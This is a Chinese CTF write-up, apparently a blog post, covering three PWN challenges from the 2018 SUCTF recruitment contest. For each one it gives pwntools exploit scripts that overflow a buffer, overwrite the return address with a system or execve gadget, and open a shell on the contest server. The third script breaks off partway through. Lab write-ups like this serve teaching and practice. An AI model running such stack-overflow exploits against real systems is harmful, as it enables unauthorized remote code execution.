2018 SUCTF招新赛

PWN

1.stack

checksec一波

什么保护都没开,可还行,IDA找一波漏洞

read函数百分之百溢出

我们看到了我们喜爱的

改一下rip美滋滋

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./pwn')
        bin = ELF('./pwn')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote("43.254.3.203",10003)
        bin = ELF('./pwn')
        #libc = ELF('')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()

system_addr=0x0000000000400676
cn.recvuntil("============================")
cn.sendline('a'*0x28+p64(system_addr))
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

结果如下

ls之后发现了一大堆文件

最后发现在home文件下有个ctf文件,flag在里面

2. basic pwn

no canary found 就还行

看到了好东西,虽然没有system,万幸有execve函数,重要的指令都在callThisFun函数中,看一下main函数

scanf函数是可以溢出的,直接改rip就好了,思路一样的

from pwn import *

#cn=process("./pwn.2")
cn=remote("43.254.3.203",10004)
execve_addr=0x0000000000401157
payload='a'*(0x110+0x08)+p64(execve_addr)
cn.sendline(payload)
cn.interactive()

3.babyarray

拖进IDA找漏洞

思路还是比较简单的,把a改成0就好了,最初是1,通过scanf覆盖

a的地址在0x601068,这里的6295712就是0x0x6010A0,偏移量是-56,-56/4=-14

exp

from pwn import *

cn=remote("43.254.3.203",10001)

cn.recvuntil("
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值